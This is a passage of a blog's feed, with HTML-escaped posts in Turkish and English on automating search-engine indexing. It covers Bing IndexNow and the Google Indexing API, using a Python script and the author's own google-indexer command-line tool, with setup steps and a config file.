&lt;p&gt;Terminale ge&amp;ccedil;ip &amp;scedil;u komutla arac&amp;inodot; do&amp;gbreve;rudan GitHub &amp;uuml;zerinden sistemine kurabilirsin:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pip&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;git+https://github.com/yuceltoluyag/google-indexing-tool.git
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu komut sistemine &lt;code&gt;google-indexer&lt;/code&gt; ad&amp;inodot;nda global bir CLI komutu tan&amp;inodot;mlar. Art&amp;inodot;k hangi blog klas&amp;ouml;r&amp;uuml;nde olursan ol, bu komutla dizin y&amp;ouml;netimini yapabilirsin.&lt;/p&gt;
&lt;p&gt;Blog projenin ana dizininde bir adet &lt;code&gt;config.ini&lt;/code&gt; dosyas&amp;inodot; olu&amp;scedil;tur ve i&amp;ccedil;eri&amp;gbreve;ini sitene g&amp;ouml;re doldur:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[PELICAN]&lt;/span&gt;
&lt;span class="na"&gt;ARTICLES_PATH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;content/articles&lt;/span&gt;
&lt;span class="na"&gt;SITE_URL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;https://yuceltoluyag.github.io/&lt;/span&gt;

&lt;span class="k"&gt;[DEFAULT]&lt;/span&gt;
&lt;span class="na"&gt;CSV_FILE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;article_links.csv&lt;/span&gt;
&lt;span class="na"&gt;SERVICE_ACCOUNT_FILE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;service-account.json&lt;/span&gt;
&lt;span class="na"&gt;LOG_FILE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;indexing.log&lt;/span&gt;

&lt;span class="k"&gt;[API]&lt;/span&gt;
&lt;span class="na"&gt;URL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;https://indexing.googleapis.com/v3/urlNotifications:publish&lt;/span&gt;
&lt;span class="na"&gt;REQUEST_DELAY_SECONDS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;10&lt;/span&gt;
&lt;span class="na"&gt;COOLDOWN_DAYS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;3&lt;/span&gt;

&lt;span class="k"&gt;[BING]&lt;/span&gt;
&lt;span class="na"&gt;API_KEY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;senin_bing_indexnow_api_anahtarin&lt;/span&gt;
&lt;span class="na"&gt;KEY_LOCATION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;https://yuceltoluyag.github.io/senin_bing_indexnow_api_anahtarin.txt&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;&amp;Idot;pucu ⚡ API Anahtar&amp;inodot; ve Do&amp;gbreve;rulama&lt;/p&gt;
&lt;p&gt;&lt;code&gt;API_KEY&lt;/code&gt; k&amp;inodot;sm&amp;inodot;na Bing Webmaster Tools &amp;uuml;zerinden ald&amp;inodot;&amp;gbreve;&amp;inodot;n IndexNow API anahtar&amp;inodot;n&amp;inodot; yazmal&amp;inodot;s&amp;inodot;n. &lt;code&gt;KEY_LOCATION&lt;/code&gt; ise bu anahtar&amp;inodot; i&amp;ccedil;eren &lt;code&gt;.txt&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot;n web sitendeki URL'sidir. Bing, iste&amp;gbreve;i g&amp;ouml;nderen ki&amp;scedil;inin sitenin ger&amp;ccedil;ek sahibi olup olmad&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; bu dosya arac&amp;inodot;l&amp;inodot;&amp;gbreve;&amp;inodot;yla do&amp;gbreve;rular.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h3 id="adm-adm-otomatik-calsma-duzeni"&gt;⚙️ Ad&amp;inodot;m Ad&amp;inodot;m Otomatik &amp;Ccedil;al&amp;inodot;&amp;scedil;ma D&amp;uuml;zeni&lt;a class="headerlink" href="#adm-adm-otomatik-calsma-duzeni" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Her &amp;scedil;ey haz&amp;inodot;rsa, terminalde projenin dizinine ge&amp;ccedil;ip &amp;scedil;u komutlar&amp;inodot; s&amp;inodot;ras&amp;inodot;yla ko&amp;scedil;turmaya ba&amp;scedil;la:&lt;/p&gt;
&lt;h4 id="adm-1-pelican-yazlarn-veritabanna-aktar"&gt;Ad&amp;inodot;m 1: Pelican Yaz&amp;inodot;lar&amp;inodot;n&amp;inodot; Veritaban&amp;inodot;na Aktar&lt;a class="headerlink" href="#adm-1-pelican-yazlarn-veritabanna-aktar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Sitenizdeki t&amp;uuml;m yay&amp;inodot;nlanm&amp;inodot;&amp;scedil; makaleleri tarar ve takip listesi olan &lt;code&gt;article_links.csv&lt;/code&gt; dosyas&amp;inodot;na ekler.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;google-indexer&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu dosya, hangi URL'nin Google'a veya Bing'e ne zaman g&amp;ouml;nderildi&amp;gbreve;ini takip eden basit bir veritaban&amp;inodot; g&amp;ouml;revi g&amp;ouml;r&amp;uuml;r. Siteni her g&amp;uuml;ncelledi&amp;gbreve;inde bu komutu ko&amp;scedil;turarak listeni tazeleyebilirsin.&lt;/p&gt;
&lt;h4 id="adm-2-bing-indexnow-ile-toplu-gonderim-yap"&gt;Ad&amp;inodot;m 2: Bing IndexNow ile Toplu G&amp;ouml;nderim Yap&lt;a class="headerlink" href="#adm-2-bing-indexnow-ile-toplu-gonderim-yap" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Hac&amp;inodot; bura &amp;ccedil;ok kritik: Bing, tek tek u&amp;gbreve;ra&amp;scedil;mak yerine t&amp;uuml;m yeni linkleri tek bir paket halinde kabul eder. Bu y&amp;uuml;zden olduk&amp;ccedil;a pratiktir:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# &amp;Ouml;nce sim&amp;uuml;lasyon yap&amp;inodot;p ne gidece&amp;gbreve;ine bak:&lt;/span&gt;
google-indexer&lt;span class="w"&gt; &lt;/span&gt;bing&lt;span class="w"&gt; &lt;/span&gt;--dry-run

&lt;span class="c1"&gt;# Canl&amp;inodot; olarak Bing'e g&amp;ouml;nder:&lt;/span&gt;
google-indexer&lt;span class="w"&gt; &lt;/span&gt;bing
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;lem bu kadar! Terminalde &lt;code&gt;Status Code: 200&lt;/code&gt; veya &lt;code&gt;202&lt;/code&gt; yan&amp;inodot;t&amp;inodot;n&amp;inodot; ve "CSV file updated" mesaj&amp;inodot;n&amp;inodot; g&amp;ouml;rd&amp;uuml;&amp;gbreve;&amp;uuml;nde, yeni URL'leriniz ba&amp;scedil;ar&amp;inodot;yla Bing'e iletilmi&amp;scedil; ve tekrar g&amp;ouml;nderilmemek &amp;uuml;zere zaman damgas&amp;inodot;yla i&amp;scedil;aretlenmi&amp;scedil; demektir.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="neler-ogrendik_1"&gt;📋 Neler &amp;Ouml;&amp;gbreve;rendik?&lt;a class="headerlink" href="#neler-ogrendik" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;An&amp;inodot;nda Bildirim:&lt;/strong&gt; &amp;Idot;&amp;ccedil;eriklerin yay&amp;inodot;nland&amp;inodot;&amp;gbreve;&amp;inodot; an IndexNow protokol&amp;uuml; ile arama motorlar&amp;inodot;n&amp;inodot;n haberi olur.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tek Komutla Otomasyon:&lt;/strong&gt; &lt;code&gt;google-indexer&lt;/code&gt; sayesinde t&amp;uuml;m yeni yaz&amp;inodot;lar&amp;inodot; tek t&amp;inodot;kla Bing'e bildirebiliriz.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&amp;Ccedil;oklu Arama Motoru Deste&amp;gbreve;i:&lt;/strong&gt; Bing'e g&amp;ouml;nderdi&amp;gbreve;imiz ping, kat&amp;inodot;l&amp;inodot;mc&amp;inodot; di&amp;gbreve;er arama motorlar&amp;inodot;na da otomatik olarak da&amp;gbreve;&amp;inodot;t&amp;inodot;l&amp;inodot;r.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verimli Veritaban&amp;inodot;:&lt;/strong&gt; Ara&amp;ccedil;, daha &amp;ouml;nce g&amp;ouml;nderilen URL'leri tekrar tekrar g&amp;ouml;ndermeyerek API limitlerini yormaz.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="son-soz"&gt;🎯 Son S&amp;ouml;z&lt;a class="headerlink" href="#son-soz" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;G&amp;ouml;rd&amp;uuml;&amp;gbreve;&amp;uuml;n gibi, &lt;strong&gt;otomatik Bing IndexNow kullan&amp;inodot;m&amp;inodot;&lt;/strong&gt; sayesinde i&amp;ccedil;eri&amp;gbreve;inin arama motorlar&amp;inodot; taraf&amp;inodot;ndan ke&amp;scedil;fedilmesini pasif bir &amp;scedil;ekilde beklemek zorunda de&amp;gbreve;ilsin. Bu basit ama g&amp;uuml;&amp;ccedil;l&amp;uuml; otomasyon ile sitenin SEO performans&amp;inodot;n&amp;inodot; tavan yapt&amp;inodot;rabilirsin.&lt;/p&gt;
&lt;p&gt;Siz de bu sistemi kurdunuz mu veya kurmay&amp;inodot; d&amp;uuml;&amp;scedil;&amp;uuml;n&amp;uuml;yor musunuz? Yorumlarda deneyimlerinizi ve sorular&amp;inodot;n&amp;inodot;z&amp;inodot; payla&amp;scedil;maktan &amp;ccedil;ekinmeyin! 👇&lt;/p&gt;
&lt;hr/&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/google-indexing-api-nasil-kullanilir/"&gt;Rehber: Google Indexing API kullan&amp;inodot;m&amp;inodot;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/yuceltoluyag/google-indexing-tool" rel="noopener noreferrer" target="_blank"&gt;GitHub Proje Sayfas&amp;inodot;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="Bing IndexNow otomatik dizinleme ile sitenizi an&amp;inodot;nda arama sonu&amp;ccedil;lar&amp;inodot;na ekleyin." class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/bing-indexnow-otomatik-dizinleme-seo-sonuc-xl.webp" srcset="/images/bing-indexnow-otomatik-dizinleme-seo-sonuc-sm.webp 300w, /images/bing-indexnow-otomatik-dizinleme-seo-sonuc-md.webp 500w, /images/bing-indexnow-otomatik-dizinleme-seo-sonuc-lg.webp 800w, /images/bing-indexnow-otomatik-dizinleme-seo-sonuc-xl.webp 1200w"/&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;&lt;strong&gt;Ping:&lt;/strong&gt; Bilgisayar a&amp;gbreve;lar&amp;inodot;nda, bir hedefe k&amp;uuml;&amp;ccedil;&amp;uuml;k bir veri paketi g&amp;ouml;nderip yan&amp;inodot;t&amp;inodot;n&amp;inodot; bekleyerek o hedefin ula&amp;scedil;&amp;inodot;labilir olup olmad&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; test etme veya bir servise durum de&amp;gbreve;i&amp;scedil;ikli&amp;gbreve;ini anl&amp;inodot;k olarak bildirme i&amp;scedil;lemidir.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Web Geliştirme"/><category term="Bing IndexNow"/><category term="SEO"/><category term="Otomasyon"/><category term="Python"/><category term="Indexing API"/></entry><entry><title>Guide: Using Google Indexing API</title><link href="https://yuceltoluyag.github.io/en/google-indexing-api-nasil-kullanilir/" rel="alternate"/><published>2025-11-05T20:45:00+03:00</published><updated>2025-11-05T20:45:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-05:/en/google-indexing-api-nasil-kullanilir/</id><summary type="html">&lt;p&gt;Quickly notify Google about new or deleted pages with Google Indexing API. A step-by-step guide with example Python code to speed up your SEO process.&lt;/p&gt;</summary><content type="html">&lt;h2 id="what-is-google-indexing-api"&gt;🚀 What is Google Indexing API?&lt;a class="headerlink" href="#what-is-google-indexing-api" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Did you write a new blog post, publish it with excitement, but Google hasn't crawled your site in days? 😤 This is exactly where the Google Indexing API comes to the rescue. This API allows you to instantly whisper content updates, new pages, or deleted links to Google bots.&lt;/p&gt;
&lt;p&gt;Think of it like a hot Turkish simit fresh out of the oven, but its aroma hasn't spread to the street yet. Waiting for Google bots to crawl and discover your site on their own requires as much patience as playing Space Cadet Pinball in a cold morning wearing your school uniform. The Indexing API is that secret force that spreads the smell of that warm simit to the street (meaning Google index) in a matter of seconds.&lt;/p&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Note: API Limits and Official Support&lt;/p&gt;
&lt;p&gt;Google claims that it officially supports this API only for &lt;code&gt;JobPosting&lt;/code&gt; and &lt;code&gt;BroadcastEvent&lt;/code&gt; structured data types. But off the record, it works like a charm for blogs and news portals, getting pages indexed at the speed of light.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;✍️ My Personal Experience&lt;/p&gt;
&lt;p&gt;I've changed my blog system so many times that I lost count. Sometimes I used Jekyll, sometimes I switched to Pelican, and I even dabbled with WordPress for a while. With every system and domain change, my link structures became a total mess. The result? 😩 My beloved articles that once ranked on the first page of Google were deleted, as if they had never existed on the internet. I was terrified of my hard work going to waste. This paranoia and disappointment drove my research and led me to the Google Indexing API. Even in this era where AI technologies dominate and people's blog-reading habits are declining, reaching a "small but dedicated" audience is priceless to me. This system became my lifesaver.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="necessary-preparations"&gt;🧩 Necessary preparations&lt;a class="headerlink" href="#necessary-preparations" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Before using the Google Indexing API, we need to put some keys in our pockets to knock on Google's door.&lt;/p&gt;
&lt;h3 id="1-create-a-google-cloud-project"&gt;1. Create a Google Cloud Project&lt;a class="headerlink" href="#1-create-a-google-cloud-project" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;First, we need a Google Cloud project:
- Go to &lt;a href="https://console.cloud.google.com/" rel="noopener noreferrer" target="_blank"&gt;Google Cloud Console&lt;/a&gt; and create a new project.
- Search for the "&lt;strong&gt;Web Search Indexing API&lt;/strong&gt;" service and enable it for your project.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Guide on how to use Google Indexing API with Python" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/google-indexing-api-nasil-kullanilir-xl.webp" srcset="/images/google-indexing-api-nasil-kullanilir-sm.webp 300w, /images/google-indexing-api-nasil-kullanilir-md.webp 500w, /images/google-indexing-api-nasil-kullanilir-lg.webp 800w, /images/google-indexing-api-nasil-kullanilir-xl.webp 1200w"/&gt;&lt;/p&gt;
&lt;h3 id="2-configure-a-service-account"&gt;2. Configure a Service Account&lt;a class="headerlink" href="#2-configure-a-service-account" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;We need to create a virtual identity to call the API via our code:
- Go to Cloud Console &amp;gt; "APIs &amp;amp; Services" &amp;gt; "Credentials" menu.
- Click "Create credentials" &amp;gt; "Service account."&lt;/p&gt;
&lt;p&gt;&lt;img alt="Creating Google Indexing API Credentials" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/google-indexing-api-service-account-xl.webp" srcset="/images/google-indexing-api-service-account-sm.webp 300w, /images/google-indexing-api-service-account-md.webp 500w, /images/google-indexing-api-service-account-lg.webp 800w, /images/google-indexing-api-service-account-xl.webp 1200w"/&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Give the account a memorable name and click "Create and continue." You can skip the subsequent steps.&lt;/li&gt;
&lt;li&gt;Once completed, you will see an email address in the format &lt;code&gt;indexer@project-id.iam.gserviceaccount.com&lt;/code&gt;. Copy this email address; we'll need it for Search Console authorization.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="Creating Google Indexing API Key" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/google-indexing-api-add-key-xl.webp" srcset="/images/google-indexing-api-add-key-sm.webp 300w, /images/google-indexing-api-add-key-md.webp 500w, /images/google-indexing-api-add-key-lg.webp 800w, /images/google-indexing-api-add-key-xl.webp 1200w"/&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Click on the service account you created, go to the "Keys" tab, and click "Add Key" &amp;gt; "Create new key."&lt;/li&gt;
&lt;li&gt;Select &lt;strong&gt;JSON&lt;/strong&gt; format and download it. Rename this file to &lt;code&gt;service-account.json&lt;/code&gt;. This file is your private key, keep it secure.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-grant-google-search-console-permission"&gt;3. Grant Google Search Console Permission&lt;a class="headerlink" href="#3-grant-google-search-console-permission" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;To prevent Google from asking, "Wait, are you trying to index someone else's site?", we must authorize our service account:
- Go to the Google &lt;a href="https://search.google.com/search-console/users" rel="noopener noreferrer" target="_blank"&gt;Search Console&lt;/a&gt; page.
- Navigate to Settings &amp;gt; Users and Permissions &amp;gt; Add User.
- Enter the service account email address you copied and select the role as &lt;strong&gt;Owner&lt;/strong&gt;. If you grant lesser permissions, the script will throw errors.&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Warning! Search Console API Authorization&lt;/p&gt;
&lt;p&gt;Just enabling the Indexing API is not enough! For our smart tool to inspect URL status, you also need to enable the &lt;a href="https://console.developers.google.com/apis/api/searchconsole.googleapis.com/overview" rel="noopener noreferrer" target="_blank"&gt;Google Search Console API&lt;/a&gt; service in the same Cloud project.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="using-google-indexing-api-with-python_1"&gt;💻 Using Google Indexing API with Python&lt;a class="headerlink" href="#using-google-indexing-api-with-python" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If you want to try everything from scratch with bare code, the simple Python script below reads URLs from a CSV file and submits them to Google.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;google.auth.transport.requests&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;AuthorizedSession&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;google.oauth2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;service_account&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;csv&lt;/span&gt;

&lt;span class="n"&gt;SERVICE_ACCOUNT_FILE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'service-account.json'&lt;/span&gt;
&lt;span class="n"&gt;SCOPES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'https://www.googleapis.com/auth/indexing'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;API_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'https://indexing.googleapis.com/v3/urlNotifications:publish'&lt;/span&gt;

&lt;span class="n"&gt;credentials&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;service_account&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Credentials&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;from_service_account_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;SERVICE_ACCOUNT_FILE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;scopes&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;SCOPES&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;session&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AuthorizedSession&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'urls.csv'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'r'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;reader&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;csv&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;reader&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;'url'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'type'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'URL_UPDATED'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;API_URL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; -&amp;gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Tip ⚡ Quick solutions or shortcuts.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;URL_UPDATED&lt;/code&gt; parameter indicates the page was added or updated. If you want to remove an obsolete URL from Google's index, you should send &lt;code&gt;URL_DELETED&lt;/code&gt; instead.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="modern-solution-for-multi-project-setup-google-bing-indexing-tool"&gt;🔧 Modern Solution for Multi-Project Setup: Google &amp;amp; Bing Indexing Tool&lt;a class="headerlink" href="#modern-solution-for-multi-project-setup-google-bing-indexing-tool" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Wrestling with basic scripts and executing them manually every day is like eating plain instant noodles. If we want a professional approach, we should manage it cleanly.&lt;/p&gt;
&lt;p&gt;To resolve the indexing issues across all my blogs, I developed the open-source &lt;a href="https://github.com/yuceltoluyag/google-indexing-tool" rel="noopener noreferrer" target="_blank"&gt;Google Indexing Tool&lt;/a&gt;. It automates the entire workflow and even includes Bing IndexNow integration.&lt;/p&gt;
&lt;p&gt;The best part? You can install it &lt;strong&gt;globally&lt;/strong&gt; and run it in any blog project folder with a single command.&lt;/p&gt;
&lt;h3 id="global-installation-and-setup"&gt;📦 Global Installation and Setup&lt;a class="headerlink" href="#global-installation-and-setup" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Open your terminal and install the tool directly from GitHub:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pip&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;git+https://github.com/yuceltoluyag/google-indexing-tool.git
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This registers a global &lt;code&gt;google-indexer&lt;/code&gt; CLI command on your system. Now you can run it inside any blog directory.&lt;/p&gt;
&lt;p&gt;Create a &lt;code&gt;config.ini&lt;/code&gt; file in your blog project's root folder and fill it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[PELICAN]&lt;/span&gt;
&lt;span class="na"&gt;ARTICLES_PATH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;content/articles&lt;/span&gt;
